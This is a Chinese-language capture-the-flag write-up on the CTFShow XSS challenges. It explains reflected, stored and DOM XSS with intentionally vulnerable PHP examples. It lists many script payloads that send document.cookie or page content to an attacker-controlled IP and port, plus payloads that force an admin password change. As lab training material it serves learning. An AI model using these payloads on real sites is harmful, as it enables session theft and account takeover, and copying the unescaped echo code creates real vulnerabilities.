CTFShow Xss(记录学习)
简单介绍一下Xss
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export
xss 分类:(三类)
反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
存储型XSS:<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,
那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,
如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
漏洞原理
1.Xss反射型
举个简单地例子:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input">
<input type="submit">
</form>
<br>
<?php
$Xss = $_GET['input'];
echo 'output:<br>'.$Xss;
?>
</body>
</html>
获取 get 方式传递的变量名为 input 的变量值(值为一个字符串),然后直接通过echo()函数输出,这中间并未对用户输入进行任何过滤。
如果在这里插入JavaScript代码会怎么样
代码被执行弹窗,这个弹窗并没有什么实际的意义,但通过它我们知道输入javascript代码是可以被执行的,当我们输入一些其他函数,比如document.cookie就可以成功盗取用户的cookie信息,或者读取用户浏览器信息等,为我们进一步深入攻击做铺垫。
web316-326(反射型)
题目的意思就是我们生成Xss链接盗取cookie,后台会有机器人自动点击
这里收集了一些可以用的姿势
<script>window.open('http://你的公网ip:端口号/'+document.cookie)</script>
<script>var img = document.createElement("img");img.src = "http://你的公网ip:端口号/?cookie="+document.cookie;</script>
<script>window.location.href='http://你的公网ip:端口号/'+document.cookie</script>
<script>location.href='http://你的公网ip:端口号/'+document.cookie</script>
<input onfocus="window.open('http://你的公网ip:端口号/'+document.cookie)" autofocus>
<svg onload="window.open('http://你的公网ip:端口号/'+document.cookie)">
<iframe onload="window.open('http://你的公网ip:端口号/'+document.cookie)"></iframe>
<body onload="window.open('http://你的公网ip:端口号/'+document.cookie)">
这个就是成功了的样子
如果是这样的那就可能是你在自己Xss自己了
小总结
就上面这几道反射型XSS的题目来说,无非就是变换标签结合各种编码去绕过,过滤空格就用 \ , 关键字被过滤就双写或编码
2.Xss存储型
和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中,当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多
<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<html>
<head>
<title>Xss</title>
</head>
<body>
<h2>Message Board<h2>
<br>
<form action="000.php" method="post">
Message:<textarea id='Mid' name="desc"></textarea>
<br>
<br>
Subuser:<input type="text" name="user"/><br>
<br>
<input type="submit" value="submit" onclick='loction="000.php"'/>
</form>
<?php
if(isset($_POST['user'])&&isset($_POST['desc'])){
$log=fopen("xss.txt","a");
fwrite($log,$_POST['user']."\r\n");
fwrite($log,$_POST['desc']."\r\n");
fclose($log);
}
if(file_exists("xss.txt"))
{
$read= fopen("xss.txt",'r');
while(!feof($read))
{
echo fgets($read)."</br>";
}
fclose($read);
}
?>
</body>
</html></span>
采用POST提交数据,生成、读取文本模拟数据库,提交数据之后页面会将数据写入xss.txt,
再打开页面时会读取xss.txt中内容并显示在网页上,实现了存储型xss攻击模拟。
可以看见输入的值被储存了起来,如果刷新页面内容会被反复读取写入
同样的如果写入恶意代码,那么每次刷新页面同样也会被执行,每当有用户访问这个界面都会被Xss攻击,这就是储存型Xss的危害
web327
同样还是想办法盗取admin的cookie,一封钓鱼邮件搞定哈哈哈
web328
随意注册一个号看看,猜测估计是要变成管理员登录
这个作为密码去注册,当管理员加载这个密码时,他的cookie就被我们盗取了
<script>window.open('http://101.132.104.114:2333/'+document.cookie)</script>
再用这个cookie去假冒管理员登录
看到管理员的密码也在这里,哈哈哈
web329
还是和上题一样盗取cookie看看,结果发现并不能顺利的登录,又重新抓取cookie会发现每次都不一样,这是为什么呢。
其实这就好比管理员点击完链接以后就立马注销掉账号,使得cookie失效。
居然用cookie登录不行,那就在他点击链接的时候把想要的内容拿到就行了
因为对js并不熟悉,也是现学现卖的,写的不好哈哈哈拿到flag
<script>window.open('http://101.132.104.114:2333/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
web330
和之前相比多了一个修改密码,猜测是要想办法修改管理员的密码然后登录
我自己注册了几个账号也试了好久,害,看了一眼大佬们的博客一下就明白了
修改密码抓个包
那就也模仿这样写个js去执行修改管理员密码
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
就是这里有个坑,js代码写在密码里不会再被执行了,这次要写在账号里,然后也注意到这次flag没有在下面的框框里了
web331
这里和上面类似,只是这次用的是POST方法
这次用ajax来进行修改密码,不会写js模仿题目的来
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>
web332
现在开始变得有趣了,可以互相骗钱买flag哈哈哈
给自己转一个负数的钱真的会扣钱,但在创一个号给我转一个负数的钱那他就会加钱,这就是一个逻辑的漏洞
web333
还是类似的方法,只是这次加了一点限制,就是转出的金额的绝对值不能比余额大,无非就是多转几次。
然后预期解其实是让管理员给我们转钱,哈哈哈,感觉太麻烦就不写了
总结
Xss也就先告一段落了,js 还要花时间去学习一下,很多东西不知道是什么 怎么利用,继续挨打